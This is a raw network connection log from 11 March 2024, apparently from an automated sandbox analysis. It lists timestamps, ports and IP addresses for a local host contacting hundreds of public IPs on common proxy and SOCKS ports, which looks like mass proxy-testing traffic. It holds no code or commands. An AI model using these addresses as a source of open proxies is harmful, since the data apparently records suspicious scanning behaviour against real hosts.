Mar 11, 2024 18:36:46.409425974 CET	49710	44607	192.168.2.8	162.241.6.97
Mar 11, 2024 18:36:46.409434080 CET	50571	8080	192.168.2.8	103.111.136.110
Mar 11, 2024 18:36:46.409434080 CET	50555	80	192.168.2.8	51.161.56.52
Mar 11, 2024 18:36:46.409440041 CET	50554	16379	192.168.2.8	163.172.137.49
Mar 11, 2024 18:36:46.409440041 CET	50564	47056	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:46.409444094 CET	50558	1080	192.168.2.8	64.124.145.1
Mar 11, 2024 18:36:46.409444094 CET	50559	39095	192.168.2.8	192.163.200.82
Mar 11, 2024 18:36:46.409445047 CET	50819	8080	192.168.2.8	177.229.210.50
Mar 11, 2024 18:36:46.409445047 CET	50839	26693	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:46.409445047 CET	50577	1256	192.168.2.8	188.133.155.215
Mar 11, 2024 18:36:46.409445047 CET	50579	23711	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:46.409445047 CET	50580	8080	192.168.2.8	5.58.97.89
Mar 11, 2024 18:36:46.409451008 CET	50565	3128	192.168.2.8	198.199.122.10
Mar 11, 2024 18:36:46.409499884 CET	51040	8888	192.168.2.8	31.43.158.108
Mar 11, 2024 18:36:46.412054062 CET	1080	51029	202.162.219.10	192.168.2.8
Mar 11, 2024 18:36:46.412142992 CET	51029	1080	192.168.2.8	202.162.219.10
Mar 11, 2024 18:36:46.412293911 CET	51211	80	192.168.2.8	37.32.40.178
Mar 11, 2024 18:36:46.412584066 CET	5775	49916	72.10.160.92	192.168.2.8
Mar 11, 2024 18:36:46.412600994 CET	1080	50371	202.162.219.10	192.168.2.8
Mar 11, 2024 18:36:46.413194895 CET	51212	3128	192.168.2.8	66.29.154.103
Mar 11, 2024 18:36:46.413444996 CET	51213	8090	192.168.2.8	101.255.140.1
Mar 11, 2024 18:36:46.416229963 CET	51214	5935	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:46.419219971 CET	51216	11946	192.168.2.8	91.134.140.160
Mar 11, 2024 18:36:46.420231104 CET	3128	50266	13.40.239.130	192.168.2.8
Mar 11, 2024 18:36:46.421477079 CET	51217	80	192.168.2.8	152.230.215.123
Mar 11, 2024 18:36:46.421982050 CET	51218	4145	192.168.2.8	190.103.29.101
Mar 11, 2024 18:36:46.423010111 CET	1080	50594	27.0.234.206	192.168.2.8
Mar 11, 2024 18:36:46.423238039 CET	51219	8089	192.168.2.8	123.182.58.137
Mar 11, 2024 18:36:46.423909903 CET	9050	51120	45.77.108.208	192.168.2.8
Mar 11, 2024 18:36:46.424328089 CET	51220	8080	192.168.2.8	170.210.121.190
Mar 11, 2024 18:36:46.424990892 CET	50561	1080	192.168.2.8	45.234.100.112
Mar 11, 2024 18:36:46.424990892 CET	50504	4019	192.168.2.8	171.235.166.222
Mar 11, 2024 18:36:46.425003052 CET	50566	45534	192.168.2.8	209.250.248.127
Mar 11, 2024 18:36:46.425004959 CET	50553	31409	192.168.2.8	121.139.218.165
Mar 11, 2024 18:36:46.425005913 CET	50551	3629	192.168.2.8	46.23.53.164
Mar 11, 2024 18:36:46.425023079 CET	50570	56225	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:46.425029039 CET	50167	3128	192.168.2.8	80.251.219.40
Mar 11, 2024 18:36:46.425029993 CET	50568	8080	192.168.2.8	103.140.34.61
Mar 11, 2024 18:36:46.425031900 CET	50770	80	192.168.2.8	50.168.163.180
Mar 11, 2024 18:36:46.425031900 CET	50117	80	192.168.2.8	50.145.6.36
Mar 11, 2024 18:36:46.425035954 CET	50846	28723	192.168.2.8	67.43.227.227
Mar 11, 2024 18:36:46.425051928 CET	50582	3128	192.168.2.8	176.113.73.99
Mar 11, 2024 18:36:46.425051928 CET	50598	16379	192.168.2.8	51.158.96.66
Mar 11, 2024 18:36:46.425051928 CET	50576	42647	192.168.2.8	185.66.59.4
Mar 11, 2024 18:36:46.425054073 CET	50581	51507	192.168.2.8	135.148.10.161
Mar 11, 2024 18:36:46.425054073 CET	50589	46296	192.168.2.8	46.101.5.73
Mar 11, 2024 18:36:46.425051928 CET	50583	8080	192.168.2.8	85.172.0.30
Mar 11, 2024 18:36:46.425055027 CET	50861	5931	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:46.425071955 CET	50921	4145	192.168.2.8	142.54.231.38
Mar 11, 2024 18:36:46.425074100 CET	50600	80	192.168.2.8	51.222.155.142
Mar 11, 2024 18:36:46.425071955 CET	50599	80	192.168.2.8	41.77.188.131
Mar 11, 2024 18:36:46.425103903 CET	50601	38772	192.168.2.8	213.136.79.177
Mar 11, 2024 18:36:46.425932884 CET	51221	3128	192.168.2.8	145.239.199.109
Mar 11, 2024 18:36:46.426966906 CET	51222	3128	192.168.2.8	84.17.35.129
Mar 11, 2024 18:36:46.429583073 CET	9002	50707	221.6.139.190	192.168.2.8
Mar 11, 2024 18:36:46.429605007 CET	9002	50707	221.6.139.190	192.168.2.8
Mar 11, 2024 18:36:46.429687023 CET	50707	9002	192.168.2.8	221.6.139.190
Mar 11, 2024 18:36:46.429718018 CET	9002	50707	221.6.139.190	192.168.2.8
Mar 11, 2024 18:36:46.429754019 CET	4145	51104	184.178.172.14	192.168.2.8
Mar 11, 2024 18:36:46.429779053 CET	50707	9002	192.168.2.8	221.6.139.190
Mar 11, 2024 18:36:46.429832935 CET	51104	4145	192.168.2.8	184.178.172.14
Mar 11, 2024 18:36:46.430466890 CET	1080	51056	27.0.234.206	192.168.2.8
Mar 11, 2024 18:36:46.430600882 CET	51056	1080	192.168.2.8	27.0.234.206
Mar 11, 2024 18:36:46.430639982 CET	80	50923	39.108.227.108	192.168.2.8
Mar 11, 2024 18:36:46.431046963 CET	5020	50428	176.192.65.34	192.168.2.8
Mar 11, 2024 18:36:46.431612968 CET	80	50923	39.108.227.108	192.168.2.8
Mar 11, 2024 18:36:46.431685925 CET	50923	80	192.168.2.8	39.108.227.108
Mar 11, 2024 18:36:46.432389021 CET	5020	51032	176.192.65.34	192.168.2.8
Mar 11, 2024 18:36:46.432486057 CET	51032	5020	192.168.2.8	176.192.65.34
Mar 11, 2024 18:36:46.432698011 CET	51223	1455	192.168.2.8	185.202.7.161
Mar 11, 2024 18:36:46.433283091 CET	51224	80	192.168.2.8	104.21.85.200
Mar 11, 2024 18:36:46.434760094 CET	9090	50761	91.241.217.58	192.168.2.8
Mar 11, 2024 18:36:46.434798956 CET	51225	48298	192.168.2.8	132.148.167.243
Mar 11, 2024 18:36:46.436359882 CET	8080	50199	46.209.54.102	192.168.2.8
Mar 11, 2024 18:36:46.436361074 CET	51226	8080	192.168.2.8	54.37.196.189
Mar 11, 2024 18:36:46.436378002 CET	34172	50340	162.241.46.6	192.168.2.8
Mar 11, 2024 18:36:46.436448097 CET	50340	34172	192.168.2.8	162.241.46.6
Mar 11, 2024 18:36:46.438762903 CET	51227	8004	192.168.2.8	114.99.12.249
Mar 11, 2024 18:36:46.440200090 CET	51228	5678	192.168.2.8	130.193.123.34
Mar 11, 2024 18:36:46.440624952 CET	50591	5896	192.168.2.8	94.23.168.246
Mar 11, 2024 18:36:46.440627098 CET	50411	8080	192.168.2.8	27.54.71.231
Mar 11, 2024 18:36:46.440656900 CET	50871	80	192.168.2.8	50.168.72.122
Mar 11, 2024 18:36:46.440656900 CET	50740	64523	192.168.2.8	46.105.44.29
Mar 11, 2024 18:36:46.440656900 CET	50869	10049	192.168.2.8	67.43.227.227
Mar 11, 2024 18:36:46.440660000 CET	50256	8888	192.168.2.8	3.25.234.175
Mar 11, 2024 18:36:46.440660000 CET	50917	80	192.168.2.8	47.93.121.200
Mar 11, 2024 18:36:46.440664053 CET	50597	8080	192.168.2.8	102.164.252.145
Mar 11, 2024 18:36:46.440664053 CET	50602	4145	192.168.2.8	103.66.233.161
Mar 11, 2024 18:36:46.440664053 CET	50616	27138	192.168.2.8	173.212.209.216
Mar 11, 2024 18:36:46.440670013 CET	50615	8901	192.168.2.8	178.23.192.249
Mar 11, 2024 18:36:46.440671921 CET	50595	16379	192.168.2.8	51.158.108.165
Mar 11, 2024 18:36:46.440673113 CET	49992	37355	192.168.2.8	167.172.109.12
Mar 11, 2024 18:36:46.440671921 CET	50606	9292	192.168.2.8	45.232.79.0
Mar 11, 2024 18:36:46.440675974 CET	49881	5678	192.168.2.8	176.119.227.65
Mar 11, 2024 18:36:46.440677881 CET	50611	54047	192.168.2.8	162.214.227.68
Mar 11, 2024 18:36:46.442909002 CET	80	50259	82.64.77.30	192.168.2.8
Mar 11, 2024 18:36:46.442990065 CET	50259	80	192.168.2.8	82.64.77.30
Mar 11, 2024 18:36:46.446449041 CET	7891	50231	43.129.228.46	192.168.2.8
Mar 11, 2024 18:36:46.446468115 CET	80	51018	185.162.229.70	192.168.2.8
Mar 11, 2024 18:36:46.446635008 CET	50231	7891	192.168.2.8	43.129.228.46
Mar 11, 2024 18:36:46.446985006 CET	10801	50651	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:46.447485924 CET	7891	50231	43.129.228.46	192.168.2.8
Mar 11, 2024 18:36:46.447577953 CET	50231	7891	192.168.2.8	43.129.228.46
Mar 11, 2024 18:36:46.451605082 CET	51229	13477	192.168.2.8	72.10.160.93
Mar 11, 2024 18:36:46.453131914 CET	51230	80	192.168.2.8	50.218.57.66
Mar 11, 2024 18:36:46.454004049 CET	4145	51142	162.253.68.97	192.168.2.8
Mar 11, 2024 18:36:46.454102993 CET	51142	4145	192.168.2.8	162.253.68.97
Mar 11, 2024 18:36:46.454245090 CET	999	51112	187.49.191.14	192.168.2.8
Mar 11, 2024 18:36:46.454346895 CET	51112	999	192.168.2.8	187.49.191.14
Mar 11, 2024 18:36:46.455491066 CET	51231	1080	192.168.2.8	81.21.82.116
Mar 11, 2024 18:36:46.455549002 CET	8080	51074	200.7.11.154	192.168.2.8
Mar 11, 2024 18:36:46.455693960 CET	51074	8080	192.168.2.8	200.7.11.154
Mar 11, 2024 18:36:46.456252098 CET	50613	38242	192.168.2.8	162.144.36.208
Mar 11, 2024 18:36:46.456252098 CET	49757	22881	192.168.2.8	208.109.14.49
Mar 11, 2024 18:36:46.456274986 CET	50633	16379	192.168.2.8	51.15.234.222
Mar 11, 2024 18:36:46.456274986 CET	50607	3629	192.168.2.8	103.144.209.104
Mar 11, 2024 18:36:46.456283092 CET	50617	8080	192.168.2.8	1.0.205.87
Mar 11, 2024 18:36:46.456283092 CET	50626	8080	192.168.2.8	189.203.201.146
Mar 11, 2024 18:36:46.456290007 CET	50625	8079	192.168.2.8	94.154.152.4
Mar 11, 2024 18:36:46.456291914 CET	50940	80	192.168.2.8	50.207.199.85
Mar 11, 2024 18:36:46.456299067 CET	50604	60148	192.168.2.8	207.180.198.241
Mar 11, 2024 18:36:46.456319094 CET	50637	16379	192.168.2.8	51.158.124.167
Mar 11, 2024 18:36:46.456319094 CET	50623	1111	192.168.2.8	103.189.249.196
Mar 11, 2024 18:36:46.456319094 CET	50627	999	192.168.2.8	190.97.238.94
Mar 11, 2024 18:36:46.456326008 CET	50610	8080	192.168.2.8	185.128.153.10
Mar 11, 2024 18:36:46.456327915 CET	50638	80	192.168.2.8	37.120.187.59
Mar 11, 2024 18:36:46.456327915 CET	50622	64312	192.168.2.8	104.128.103.32
Mar 11, 2024 18:36:46.456331968 CET	50634	4153	192.168.2.8	190.2.110.7
Mar 11, 2024 18:36:46.456336021 CET	50619	8004	192.168.2.8	128.199.221.91
Mar 11, 2024 18:36:46.456336021 CET	50629	8080	192.168.2.8	45.252.79.48
Mar 11, 2024 18:36:46.456342936 CET	50100	7853	192.168.2.8	67.43.228.253
Mar 11, 2024 18:36:46.456343889 CET	50631	8001	192.168.2.8	213.171.214.19
Mar 11, 2024 18:36:46.456342936 CET	50135	14921	192.168.2.8	192.252.211.197
Mar 11, 2024 18:36:46.456342936 CET	50630	4153	192.168.2.8	185.171.55.218
Mar 11, 2024 18:36:46.456352949 CET	50636	1080	192.168.2.8	77.37.155.85
Mar 11, 2024 18:36:46.456360102 CET	50632	2016	192.168.2.8	103.174.178.137
Mar 11, 2024 18:36:46.458910942 CET	51232	2004	192.168.2.8	103.174.178.249
Mar 11, 2024 18:36:46.459409952 CET	80	50480	50.217.226.45	192.168.2.8
Mar 11, 2024 18:36:46.459877968 CET	18080	50986	60.188.102.225	192.168.2.8
Mar 11, 2024 18:36:46.459963083 CET	50986	18080	192.168.2.8	60.188.102.225
Mar 11, 2024 18:36:46.460784912 CET	51233	14455	192.168.2.8	192.252.209.155
Mar 11, 2024 18:36:46.461599112 CET	55994	51136	38.127.179.16	192.168.2.8
Mar 11, 2024 18:36:46.462163925 CET	49947	4145	192.168.2.8	36.90.61.224
Mar 11, 2024 18:36:46.462718964 CET	18067	49950	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:46.463327885 CET	26353	49951	67.43.227.228	192.168.2.8
Mar 11, 2024 18:36:46.463345051 CET	51234	1080	192.168.2.8	121.129.47.25
Mar 11, 2024 18:36:46.463532925 CET	29197	50665	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:46.464281082 CET	4444	50664	193.8.87.43	192.168.2.8
Mar 11, 2024 18:36:46.464323997 CET	4444	50664	193.8.87.43	192.168.2.8
Mar 11, 2024 18:36:46.464519978 CET	63055	51062	51.161.131.84	192.168.2.8
Mar 11, 2024 18:36:46.464587927 CET	51062	63055	192.168.2.8	51.161.131.84
Mar 11, 2024 18:36:46.464791059 CET	51235	44827	192.168.2.8	62.171.131.101
Mar 11, 2024 18:36:46.466232061 CET	51236	999	192.168.2.8	181.112.164.219
Mar 11, 2024 18:36:46.466392994 CET	9090	51048	212.108.145.195	192.168.2.8
Mar 11, 2024 18:36:46.466470003 CET	51048	9090	192.168.2.8	212.108.145.195
Mar 11, 2024 18:36:46.467509985 CET	51237	4145	192.168.2.8	68.71.247.130
Mar 11, 2024 18:36:46.468988895 CET	51238	6940	192.168.2.8	51.68.230.210
Mar 11, 2024 18:36:46.470683098 CET	51239	8080	192.168.2.8	95.47.119.122
Mar 11, 2024 18:36:46.471854925 CET	50106	17893	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:46.471873999 CET	50907	22645	192.168.2.8	67.43.236.18
Mar 11, 2024 18:36:46.471879959 CET	50841	80	192.168.2.8	50.174.145.14
Mar 11, 2024 18:36:46.471880913 CET	50635	5566	192.168.2.8	195.201.246.166
Mar 11, 2024 18:36:46.471880913 CET	50639	42624	192.168.2.8	162.214.164.200
Mar 11, 2024 18:36:46.471880913 CET	50224	4145	192.168.2.8	199.102.106.94
Mar 11, 2024 18:36:46.471895933 CET	50640	4145	192.168.2.8	202.124.46.65
Mar 11, 2024 18:36:46.471895933 CET	50643	48085	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:46.471895933 CET	50647	4153	192.168.2.8	202.44.228.36
Mar 11, 2024 18:36:46.471899986 CET	50657	23500	192.168.2.8	109.73.184.94
Mar 11, 2024 18:36:46.471913099 CET	50644	8080	192.168.2.8	165.16.46.193
Mar 11, 2024 18:36:46.471913099 CET	50645	40571	192.168.2.8	216.10.242.18
Mar 11, 2024 18:36:46.471976042 CET	50658	80	192.168.2.8	34.154.161.152
Mar 11, 2024 18:36:46.471978903 CET	50655	29718	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:46.473006010 CET	51240	64081	192.168.2.8	107.180.90.88
Mar 11, 2024 18:36:46.473140955 CET	3128	51100	130.162.213.175	192.168.2.8
Mar 11, 2024 18:36:46.473246098 CET	51100	3128	192.168.2.8	130.162.213.175
Mar 11, 2024 18:36:46.473779917 CET	51241	36181	192.168.2.8	69.61.200.104
Mar 11, 2024 18:36:46.476162910 CET	80	51105	121.128.194.154	192.168.2.8
Mar 11, 2024 18:36:46.476206064 CET	51242	48678	192.168.2.8	37.207.45.15
Mar 11, 2024 18:36:46.476349115 CET	51105	80	192.168.2.8	121.128.194.154
Mar 11, 2024 18:36:46.476819038 CET	51243	8080	192.168.2.8	194.247.173.17
Mar 11, 2024 18:36:46.478130102 CET	1080	51070	138.36.150.16	192.168.2.8
Mar 11, 2024 18:36:46.478148937 CET	4145	50396	103.58.16.57	192.168.2.8
Mar 11, 2024 18:36:46.478230000 CET	26087	50667	67.43.228.253	192.168.2.8
Mar 11, 2024 18:36:46.478236914 CET	51070	1080	192.168.2.8	138.36.150.16
Mar 11, 2024 18:36:46.478519917 CET	8197	50988	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:46.478529930 CET	51244	9090	192.168.2.8	189.240.60.164
Mar 11, 2024 18:36:46.478653908 CET	50988	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.478684902 CET	31571	50668	72.10.160.170	192.168.2.8
Mar 11, 2024 18:36:46.478939056 CET	17145	49963	67.43.236.18	192.168.2.8
Mar 11, 2024 18:36:46.479219913 CET	80	50750	65.1.244.232	192.168.2.8
Mar 11, 2024 18:36:46.479511023 CET	8197	50988	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:46.480366945 CET	51245	55443	192.168.2.8	77.233.5.68
Mar 11, 2024 18:36:46.480722904 CET	3128	51091	91.189.177.188	192.168.2.8
Mar 11, 2024 18:36:46.480839968 CET	51091	3128	192.168.2.8	91.189.177.188
Mar 11, 2024 18:36:46.481436968 CET	5678	49927	181.78.13.91	192.168.2.8
Mar 11, 2024 18:36:46.481775999 CET	80	50750	65.1.244.232	192.168.2.8
Mar 11, 2024 18:36:46.482743979 CET	3128	51115	13.37.59.99	192.168.2.8
Mar 11, 2024 18:36:46.482841969 CET	51115	3128	192.168.2.8	13.37.59.99
Mar 11, 2024 18:36:46.483002901 CET	4145	50702	198.8.94.170	192.168.2.8
Mar 11, 2024 18:36:46.485476017 CET	80	50584	50.173.140.148	192.168.2.8
Mar 11, 2024 18:36:46.486207008 CET	9050	51114	211.194.214.128	192.168.2.8
Mar 11, 2024 18:36:46.486251116 CET	6001	50383	20.106.146.212	192.168.2.8
Mar 11, 2024 18:36:46.486555099 CET	4145	51128	72.210.221.197	192.168.2.8
Mar 11, 2024 18:36:46.486586094 CET	51246	80	192.168.2.8	172.64.152.98
Mar 11, 2024 18:36:46.486661911 CET	51128	4145	192.168.2.8	72.210.221.197
Mar 11, 2024 18:36:46.486823082 CET	51247	999	192.168.2.8	45.230.49.2
Mar 11, 2024 18:36:46.487492085 CET	50822	46919	192.168.2.8	51.15.16.96
Mar 11, 2024 18:36:46.487492085 CET	50641	8080	192.168.2.8	139.5.73.71
Mar 11, 2024 18:36:46.487510920 CET	50766	80	192.168.2.8	50.170.90.34
Mar 11, 2024 18:36:46.487513065 CET	49718	15082	192.168.2.8	45.77.111.135
Mar 11, 2024 18:36:46.487514019 CET	50650	80	192.168.2.8	162.214.165.203
Mar 11, 2024 18:36:46.487514019 CET	50264	49401	192.168.2.8	162.241.46.40
Mar 11, 2024 18:36:46.487514019 CET	50118	24279	192.168.2.8	67.43.228.251
Mar 11, 2024 18:36:46.487529039 CET	50652	8182	192.168.2.8	120.89.91.222
Mar 11, 2024 18:36:46.487535000 CET	50944	46656	192.168.2.8	38.127.179.126
Mar 11, 2024 18:36:46.487535954 CET	50165	4145	192.168.2.8	184.170.249.65
Mar 11, 2024 18:36:46.487536907 CET	50654	80	192.168.2.8	3.24.178.81
Mar 11, 2024 18:36:46.487536907 CET	50164	41274	192.168.2.8	162.241.158.204
Mar 11, 2024 18:36:46.487536907 CET	50125	1431	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:46.487536907 CET	50653	8080	192.168.2.8	181.212.45.226
Mar 11, 2024 18:36:46.488465071 CET	51248	4300	192.168.2.8	92.205.61.38
Mar 11, 2024 18:36:46.488925934 CET	51249	30717	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:46.490098953 CET	41746	50405	51.79.87.144	192.168.2.8
Mar 11, 2024 18:36:46.490128994 CET	51250	80	192.168.2.8	181.120.28.228
Mar 11, 2024 18:36:46.490184069 CET	50405	41746	192.168.2.8	51.79.87.144
Mar 11, 2024 18:36:46.490523100 CET	51251	29813	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:46.491132975 CET	16379	50724	51.158.108.134	192.168.2.8
Mar 11, 2024 18:36:46.491555929 CET	16379	50724	51.158.108.134	192.168.2.8
Mar 11, 2024 18:36:46.492338896 CET	8000	50677	14.103.24.20	192.168.2.8
Mar 11, 2024 18:36:46.492927074 CET	51252	9090	192.168.2.8	209.250.230.101
Mar 11, 2024 18:36:46.493081093 CET	15673	51041	198.23.229.203	192.168.2.8
Mar 11, 2024 18:36:46.493583918 CET	15673	51041	198.23.229.203	192.168.2.8
Mar 11, 2024 18:36:46.493621111 CET	8880	50500	95.66.138.21	192.168.2.8
Mar 11, 2024 18:36:46.493978024 CET	16379	51121	51.158.108.134	192.168.2.8
Mar 11, 2024 18:36:46.494019985 CET	25639	49982	67.43.227.226	192.168.2.8
Mar 11, 2024 18:36:46.494103909 CET	51121	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:46.494729996 CET	51253	54321	192.168.2.8	47.180.63.37
Mar 11, 2024 18:36:46.496179104 CET	51254	80	192.168.2.8	51.210.127.15
Mar 11, 2024 18:36:46.496974945 CET	51255	63212	192.168.2.8	148.72.215.79
Mar 11, 2024 18:36:46.497020960 CET	53777	50443	104.238.111.107	192.168.2.8
Mar 11, 2024 18:36:46.497190952 CET	50443	53777	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:46.498496056 CET	51256	999	192.168.2.8	45.186.106.159
Mar 11, 2024 18:36:46.499488115 CET	29477	51149	67.43.236.21	192.168.2.8
Mar 11, 2024 18:36:46.500129938 CET	51257	5432	192.168.2.8	31.204.28.96
Mar 11, 2024 18:36:46.500945091 CET	80	50590	50.222.245.41	192.168.2.8
Mar 11, 2024 18:36:46.502934933 CET	3629	50406	91.220.69.43	192.168.2.8
Mar 11, 2024 18:36:46.503115892 CET	50826	3629	192.168.2.8	177.86.64.1
Mar 11, 2024 18:36:46.503115892 CET	50674	36946	192.168.2.8	207.180.234.220
Mar 11, 2024 18:36:46.503127098 CET	50850	8080	192.168.2.8	46.105.35.193
Mar 11, 2024 18:36:46.503130913 CET	50936	20001	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:46.503149986 CET	50128	10363	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:46.503156900 CET	50698	1080	192.168.2.8	103.140.205.133
Mar 11, 2024 18:36:46.503156900 CET	50781	59623	192.168.2.8	62.182.114.164
Mar 11, 2024 18:36:46.503165007 CET	50965	4145	192.168.2.8	199.58.185.9
Mar 11, 2024 18:36:46.503166914 CET	50807	38817	192.168.2.8	77.48.23.181
Mar 11, 2024 18:36:46.503190041 CET	50666	4153	192.168.2.8	187.122.105.181
Mar 11, 2024 18:36:46.503210068 CET	50662	62291	192.168.2.8	161.97.170.209
Mar 11, 2024 18:36:46.503523111 CET	80	49934	50.168.163.166	192.168.2.8
Mar 11, 2024 18:36:46.504748106 CET	80	51170	104.19.247.62	192.168.2.8
Mar 11, 2024 18:36:46.504951954 CET	51170	80	192.168.2.8	104.19.247.62
Mar 11, 2024 18:36:46.505960941 CET	4153	50445	179.109.193.228	192.168.2.8
Mar 11, 2024 18:36:46.506441116 CET	51258	80	192.168.2.8	37.235.48.19
Mar 11, 2024 18:36:46.507083893 CET	51259	25517	192.168.2.8	194.31.79.75
Mar 11, 2024 18:36:46.507297993 CET	6012	50642	45.11.95.165	192.168.2.8
Mar 11, 2024 18:36:46.508176088 CET	51260	8080	192.168.2.8	200.97.76.186
Mar 11, 2024 18:36:46.508227110 CET	6012	50642	45.11.95.165	192.168.2.8
Mar 11, 2024 18:36:46.508244991 CET	999	50344	190.90.22.106	192.168.2.8
Mar 11, 2024 18:36:46.508318901 CET	3129	49719	20.219.180.149	192.168.2.8
Mar 11, 2024 18:36:46.508373976 CET	50344	999	192.168.2.8	190.90.22.106
Mar 11, 2024 18:36:46.508690119 CET	1080	51153	165.227.112.138	192.168.2.8
Mar 11, 2024 18:36:46.508836985 CET	6012	51096	45.11.95.165	192.168.2.8
Mar 11, 2024 18:36:46.508871078 CET	8080	50934	103.49.114.195	192.168.2.8
Mar 11, 2024 18:36:46.508919001 CET	51096	6012	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:46.509102106 CET	51261	36627	192.168.2.8	185.6.10.248
Mar 11, 2024 18:36:46.509654999 CET	8080	50934	103.49.114.195	192.168.2.8
Mar 11, 2024 18:36:46.509673119 CET	8080	50934	103.49.114.195	192.168.2.8
Mar 11, 2024 18:36:46.509752035 CET	50934	8080	192.168.2.8	103.49.114.195
Mar 11, 2024 18:36:46.510242939 CET	12334	50964	194.4.50.91	192.168.2.8
Mar 11, 2024 18:36:46.510385990 CET	21972	51126	79.143.177.29	192.168.2.8
Mar 11, 2024 18:36:46.510452986 CET	51126	21972	192.168.2.8	79.143.177.29
Mar 11, 2024 18:36:46.510576963 CET	8083	50567	185.132.242.212	192.168.2.8
Mar 11, 2024 18:36:46.510699034 CET	8083	50567	185.132.242.212	192.168.2.8
Mar 11, 2024 18:36:46.511271954 CET	51262	3128	192.168.2.8	79.110.52.252
Mar 11, 2024 18:36:46.512793064 CET	80	51045	91.107.180.250	192.168.2.8
Mar 11, 2024 18:36:46.512886047 CET	51045	80	192.168.2.8	91.107.180.250
Mar 11, 2024 18:36:46.513245106 CET	51263	61564	192.168.2.8	212.83.137.165
Mar 11, 2024 18:36:46.514687061 CET	8800	50968	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:46.514755011 CET	50968	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:46.514925003 CET	51264	47370	192.168.2.8	70.126.33.226
Mar 11, 2024 18:36:46.515819073 CET	51265	3128	192.168.2.8	37.120.140.158
Mar 11, 2024 18:36:46.516540051 CET	51266	1080	192.168.2.8	103.105.79.69
Mar 11, 2024 18:36:46.516721964 CET	8800	50968	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:46.516901016 CET	80	49893	50.223.239.166	192.168.2.8
Mar 11, 2024 18:36:46.517678976 CET	51267	80	192.168.2.8	91.151.90.9
Mar 11, 2024 18:36:46.517875910 CET	9764	50959	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:46.518738031 CET	50673	52858	192.168.2.8	195.177.217.131
Mar 11, 2024 18:36:46.518738031 CET	50756	47354	192.168.2.8	67.213.212.49
Mar 11, 2024 18:36:46.518748999 CET	50660	999	192.168.2.8	177.93.45.156
Mar 11, 2024 18:36:46.518762112 CET	50881	80	192.168.2.8	50.174.145.12
Mar 11, 2024 18:36:46.518765926 CET	50671	3128	192.168.2.8	201.243.82.157
Mar 11, 2024 18:36:46.518785000 CET	50270	4145	192.168.2.8	142.54.237.34
Mar 11, 2024 18:36:46.518800020 CET	50847	1080	192.168.2.8	188.255.245.205
Mar 11, 2024 18:36:46.518975019 CET	15410	51176	72.167.38.7	192.168.2.8
Mar 11, 2024 18:36:46.520946026 CET	51269	59098	192.168.2.8	159.223.71.71
Mar 11, 2024 18:36:46.520947933 CET	51268	62578	192.168.2.8	107.180.88.41
Mar 11, 2024 18:36:46.522064924 CET	7302	50219	124.163.236.54	192.168.2.8
Mar 11, 2024 18:36:46.522627115 CET	5836	50460	185.158.248.95	192.168.2.8
Mar 11, 2024 18:36:46.522739887 CET	4145	50813	142.54.232.6	192.168.2.8
Mar 11, 2024 18:36:46.522809982 CET	4145	50805	192.111.134.10	192.168.2.8
Mar 11, 2024 18:36:46.522823095 CET	3128	50011	178.128.148.69	192.168.2.8
Mar 11, 2024 18:36:46.523614883 CET	51270	999	192.168.2.8	45.225.204.8
Mar 11, 2024 18:36:46.524310112 CET	51271	999	192.168.2.8	201.77.110.1
Mar 11, 2024 18:36:46.524878979 CET	8080	50194	103.159.66.61	192.168.2.8
Mar 11, 2024 18:36:46.524951935 CET	50194	8080	192.168.2.8	103.159.66.61
Mar 11, 2024 18:36:46.526099920 CET	8081	50992	185.49.31.207	192.168.2.8
Mar 11, 2024 18:36:46.526173115 CET	50992	8081	192.168.2.8	185.49.31.207
Mar 11, 2024 18:36:46.527185917 CET	80	50520	188.166.56.246	192.168.2.8
Mar 11, 2024 18:36:46.527278900 CET	80	50520	188.166.56.246	192.168.2.8
Mar 11, 2024 18:36:46.527461052 CET	50520	80	192.168.2.8	188.166.56.246
Mar 11, 2024 18:36:46.527560949 CET	80	50520	188.166.56.246	192.168.2.8
Mar 11, 2024 18:36:46.527604103 CET	8081	50992	185.49.31.207	192.168.2.8
Mar 11, 2024 18:36:46.527631044 CET	50520	80	192.168.2.8	188.166.56.246
Mar 11, 2024 18:36:46.529395103 CET	1080	50483	35.154.71.72	192.168.2.8
Mar 11, 2024 18:36:46.530527115 CET	51272	3128	192.168.2.8	45.10.42.20
Mar 11, 2024 18:36:46.530952930 CET	8888	50883	93.171.220.229	192.168.2.8
Mar 11, 2024 18:36:46.531030893 CET	8888	50883	93.171.220.229	192.168.2.8
Mar 11, 2024 18:36:46.531085014 CET	8888	50883	93.171.220.229	192.168.2.8
Mar 11, 2024 18:36:46.531179905 CET	50883	8888	192.168.2.8	93.171.220.229
Mar 11, 2024 18:36:46.531579971 CET	51273	3128	192.168.2.8	85.193.93.73
Mar 11, 2024 18:36:46.532226086 CET	51274	999	192.168.2.8	190.89.37.73
Mar 11, 2024 18:36:46.532937050 CET	80	50754	50.207.199.80	192.168.2.8
Mar 11, 2024 18:36:46.532951117 CET	80	50223	195.23.57.78	192.168.2.8
Mar 11, 2024 18:36:46.532963991 CET	7302	51054	124.163.236.54	192.168.2.8
Mar 11, 2024 18:36:46.532967091 CET	51275	8080	192.168.2.8	81.12.119.171
